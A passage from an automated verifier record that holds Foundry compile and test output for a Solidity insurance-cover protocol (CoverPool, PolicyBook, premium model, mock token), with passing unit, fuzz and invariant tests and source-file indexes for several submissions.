0 skipped; finished in 968.35ms (979.80ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1162075, ~: 527836)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 103366)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59343)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14415964)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432792)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1746481)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349926)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397766)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164340)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111404)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111930)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129197)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152881)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 993.41ms (1.01s CPU time)\n\nRan 6 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_retirementNeverTakesMoreThanDust(uint96) (runs: 512, μ: 8823002, ~: 8802798)\nLogs:\n  Bound result 519\n\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3579291, ~: 2265391)\nLogs:\n  Bound result 3\n  Bound result 10000000000000000000000\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8942567)\n[PASS] test_residualDustBehindExhaustedSupplyIsCarriedIntoTheNewEpoch() (gas: 9056964)\n[PASS] test_sharesWorthMoreThanDustAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 9046641)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 9150351)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 993.38ms (1.81s CPU time)\n\nRan 5 tests for test/CoreReaderProperties.t.sol:CoreReaderPropertiesTest\n[PASS] testFuzz_countIsAdditiveAcrossSupportedWindows(uint256,uint16) (runs: 256, μ: 10586509, ~: 7041910)\nLogs:\n  Bound result 6\n\n[PASS] testFuzz_countIsIndependentOfCoreBatchLimit(uint256,uint16) (runs: 256, μ: 4569597, ~: 2580637)\nLogs:\n  Bound result 1\n\n[PASS] testFuzz_snapshotTracksExactClockBoundary(uint32,uint16) (runs: 256, μ: 139045, ~: 139356)\nLogs:\n  Bound result 408\n\n[PASS] test_allAdditionalPageValidationFailuresPreserveReservations() (gas: 2326139)\n[PASS] test_eachInvalidConfigurationBlocksPurchasesBeforeCollectingPremium() (gas: 571385)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.05s (1.89s CPU time)\n\nRan 2 tests for test/MockSQKStateMachine.t.sol:MockSQKStateMachineTest\n[PASS]\nMockSQKStateMachineTest invariants:\n[PASS] invariant_allowancesAndOwnershipMatchIndependentLedger\n[PASS] invariant_supplyAndAllBalancesMatchIndependentLedger\n MockSQKStateMachineTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭----------------+------------------------+-------+---------+----------╮\n| Contract       | Selector               | Calls | Reverts | Discards |\n+======================================================================+\n| MockSQKHandler | acceptOwner            | 2013  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | approve                | 2122  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | mint                   | 2037  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | proposeOwner           | 2018  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | rejectInvalidOperation | 2097  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transfer               | 4076  | 0       | 0        |\n|----------------+------------------------+-------+---------+----------|\n| MockSQKHandler | transferFrom           | 2021  | 0       | 0        |\n╰----------------+------------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 100000000000000000000\n  Bound result 0\n  Bound result 144\n  Bound result 0\n  Bound result 1242826418\n  Bound result 0\n  Bound result 0\n  Bound result 999999999999999990\n  Bound result 1700000000\n  Bound result 5773667395214433359627492\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 669136354\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 0\n  Bound result 1418073905834\n  Bound result 3\n  Bound result 4907\n  Bound result 501\n  Bound result 360\n  Bound result 24576\n  Bound result 0\n  Bound result 9677\n  Bound result 0\n  Bound result 9813\n  Bound result 0\n  Bound result 1001000000000000000000\n  Bound result 3503635485\n\n[PASS] test_handlerExercisesFiniteInfiniteAndSelfTransfersAcrossHandover() (gas: 1848282)\nLogs:\n  Bound result 100\n  Bound result 17\n  Bound result 19\n  Bound result 20\n  Bound result 1\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 4.68s (4.68s CPU time)\n\nRan 6 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n[PASS] invariant_policyTermsAndTerminalStatesMatchPurchaseHistory\n SolvencyInvariantTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+-----------------------+-------+---------+----------╮\n| Contract     | Selector              | Calls | Reverts | Discards |\n+===================================================================+\n| CoverHandler | advance               | 1306  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | deposit               | 1210  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | donate                | 1253  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | elapse                | 1215  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | open                  | 1257  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | pause                 | 1258  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | redeem                | 1260  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | rejectEarlyOrReplay   | 1182  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | reprice               | 1264  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | review                | 1341  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | roundTrip             | 1210  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | settle                | 1296  | 0       | 0        |\n|--------------+-----------------------+-------+---------+----------|\n| CoverHandler | transferBetweenActors | 1332  | 0       | 0        |\n╰--------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 129373004965649451\n  Bound result 1\n  Bound result 1\n  Bound result 9999999999999999999001\n  Bound result 675\n  Bound result 88\n  Bound result 1\n  Bound result 97\n  Bound result 10\n  Bound result 1\n  Bound result 1\n  Bound result 686035157809\n  Bound result 11804\n  Bound result 1\n  Bound result 1087\n  Bound result 540\n  Bound result 100\n  Bound result 1791\n  Bound result 751\n  Bound result 875\n  Bound result 120\n  Bound result 8\n  Bound result 11770069522895995455665\n  Bound result 26\n  Bound result 1\n  Bound result 935\n  Bound result 10\n  Bound result 5\n  Bound result 425\n  Bound result 2\n  Bound result 1\n  Bound result 6\n  Bound result 14264337593543950335\n  Bound result 14264337593543950335\n  Bound result 14264337593543950335\n  Bound result 14264337593543950335\n  Bound result 14264337593543950335\n  Bound result 14264337593543950335\n  Bound result 140\n  Bound result 1\n  Bound result 16783\n  Bound result 2\n  Bound result 52\n  Bound result 24\n  Bound result 1\n  Bound result 127\n  Bound result 129073246823182051473\n  Bound result 888\n  Bound result 1\n  Bound result 32\n  Bound result 71\n  Bound result 5628\n  Bound result 2183143274103\n  Bound result 6081395681681039869991\n  Bound result 1\n  Bound result 1\n  Bound result 74732912868008429554\n  Bound result 116\n  Bound result 10875\n  Bound result 7958664628492873472210\n  Bound result 841937662908875770740\n  Bound result 5066\n  Bound result 2\n  Bound result 86\n  Bound result 9352\n  Bound result 102\n  Bound result 5601\n  Bound result 5854\n  Bound result 4937\n  Bound result 2\n  Bound result 1\n  Bound result 6330\n\n[PASS] test_handlerExercisesRoundingRepricingFailureAndExpiryPaths() (gas: 3877907)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 1\n  Bound result 10000\n  Bound result 0\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 7\n  Bound result 1\n  Bound result 1\n  Bound result 8\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000001\n  Bound result 1000000000000000000\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1917604)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\n[PASS] test_handlerLpFlowsRefuseStalePriceUntilAnyoneSettles() (gas: 2433782)\nLogs:\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 4\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 4\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n  Bound result 1000000000000000000\n\n[PASS] test_handlerReviewsThenSettlesEarly() (gas: 3389680)\nLogs:\n  Bound result 10000000000000000000\n  Bound result 72\n  Bound result 1\n  Bound result 1\n  Bound result 1000000000000000000\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 1\n\n[PASS] test_handlerRoundTripsAfterCoveredLossAndWhilePaused() (gas: 2420245)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 8\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n  Bound result 3000000000000000001\n\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 10.28s (10.29s CPU time)\n\nRan 18 test suites in 10.29s (23.35s CPU time): 127 tests passed, 0 failed, 0 skipped (127 total tests)\n","passed":true},{"durationMs":103,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.review(uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":77,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":170,\"src/CoverPool.sol\":250,\"src/CoverTerms.sol\":63,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":311,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoreReaderProperties.t.sol\":125,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/EarlyDecisionProperties.t.sol\":210,\"test/MockSQKStateMachine.t.sol\":274,\"test/PolicyBook.t.sol\":285,\"test/PolicyFailureMatrix.t.sol\":290,\"test/PremiumAndOwnership.t.sol\":146,\"test/PremiumArithmeticProperties.t.sol\":128,\"test/README.md\":121,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":348,\"test/SettlementGateAdversarial.t.sol\":154,\"test/ShareSupply.t.sol\":243,\"test/SolvencyInvariant.t.sol\":582,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":134,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"39faaa5472e159e1db9999f5a05ab0adbc426fd013ef79a0db230825fe4145a4","verifiedTreeHash":"1dc046833876b0f9d5c990b8bd52c0977a3e57e2","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":4520,"exitCode":0,"name":"build","output":"Compiling 57 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.40s\nCompiler run successful!\n","passed":true},{"durationMs":2012,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69144)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 664.66µs (479.80µs CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77529, ~: 77587)\nLogs:\n  Bound result 1438048350191\n  Bound result 3512396035\n  Bound result 1\n  Bound result 5534\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169048)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 29.18ms (29.42ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_deploymentOnMainnetIsRejectedForEveryApplication() (gas: 4439)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 11771515)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 32.33ms (32.87ms CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 587872)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 978358)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 433285)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 939173)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 801238)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 936640)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 948180)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 69.75ms (4.93ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1147824, ~: 529490)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 101954)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59157)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14409692)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 431976)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1744788)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2348625)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 396816)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 163705)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 110782)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111312)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129203)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 151997)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 82.68ms (104.90ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 332748, ~: 331512)\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 2514264337593536027519\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152128)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 641076)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 174063)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 237198)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 347082)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 300965)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 601344)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 487134)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 39701)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 744192)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 942098)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 196.36ms (49.28ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3430788, ~: 1449443)\nLogs:\n  Bound result 0\n  Bound result 14159918\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 968909)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68457)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 439363)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 583890)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 516671)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 968490)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 576185)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1205305)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 728101)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 594903)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 98761)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 629723)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 536544)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 262893)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 651652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 257951)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 197.44ms (206.74ms CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 3133\n  Bound result 127\n  Bound result 8524373659279480997421\n  Bound result 7000\n  Bound result 2514264337649059122047\n  Bound result 578\n  Bound result 297\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 6542890761493937287090\n  Bound result 455742138123547309735\n  Bound result 1\n  Bound result 425275956847850095332\n  Bound result 5343\n  Bound result 2243\n  Bound result 2083\n  Bound result 2\n  Bound result 513700340\n  Bound result 2664248231462940\n  Bound result 6409\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 517440283\n  Bound result 5810\n  Bound result 3\n  Bound result 4305\n  Bound result 348\n  Bound result 3\n  Bound result 31238880306\n  Bound result 111\n  Bound result 1\n  Bound result 18972413724233487465\n  Bound result 1\n  Bound result 3\n  Bound result 6091064917860027500\n  Bound result 6982\n  Bound result 123\n  Bound result 12732\n  Bound result 12\n  Bound result 39\n  Bound result 3\n  Bound result 42\n  Bound result 1165219446\n  Bound result 3\n  Bound result 22\n  Bound result 226745170657427\n  Bound result 5206\n  Bound result 3\n  Bound result 10000000000000000000000000\n  Bound result 3075\n  Bound result 1480\n  Bound result 5893\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1071663)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.87s (1.87s CPU time)\n\nRan 8 test suites in 1.88s (2.48s CPU time): 64 tests passed, 0 failed, 0 skipped (64 total tests)\n","passed":true},{"durationMs":82,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":70,\"README.md\":90,\"THREATS.md\":62,\"dependency-checksums.json\":59,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"launch.json\":32,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":133,\"src/CoverPool.sol\":171,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/PolicyBook.sol\":159,\"src/PremiumModel.sol\":51,\"src/SepoliaOnly.sol\":11,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":109,\"test/PolicyBook.t.sol\":240,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SolvencyInvariant.t.sol\":205,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":120},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed; 1 finding(s) for the step that wrote the contracts","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"447e2143c08d6e85c517bec667688a9ed6b6a64e34928fa70c5a5a2dd79b640e","verifiedTreeHash":"302683b09a683c129672367afbef90ee16bb2b0e","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":6559,"exitCode":0,"name":"build","output":"Compiling 61 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.43s\nCompiler run successful!\n","passed":true},{"durationMs":5945,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69144)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 667.11µs (505.11µs CPU time)\n\nRan 3 tests for test/MockSQKStateMachine.t.sol:MockSQKEdgesTest\n[PASS] test_fullInitialSupplyTransferAndZeroSelfTransferPreserveSupply() (gas: 205910)\n[PASS] test_supplyAtUint256LimitRejectsOverflowAtomically() (gas: 133031)\n[PASS] test_zeroRecipientFailuresLeaveBalancesAndAllowanceUntouched() (gas: 200788)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 749.97µs (566.22µs CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 587872)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 978358)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 433285)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 939173)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 801238)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 936640)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 948180)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 5.33ms (3.29ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77518, ~: 77587)\nLogs:\n  Bound result 5576813114\n  Bound result 4487157654\n  Bound result 49\n  Bound result 1\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169048)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 72.40ms (71.98ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 332748, ~: 331512)\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 2514264337593536027519\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152128)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 641076)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 174063)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 237198)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 347082)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 300965)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 601344)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 487134)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 39701)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 744192)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 942098)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 110.93ms (115.17ms CPU time)\n\nRan 4 tests for 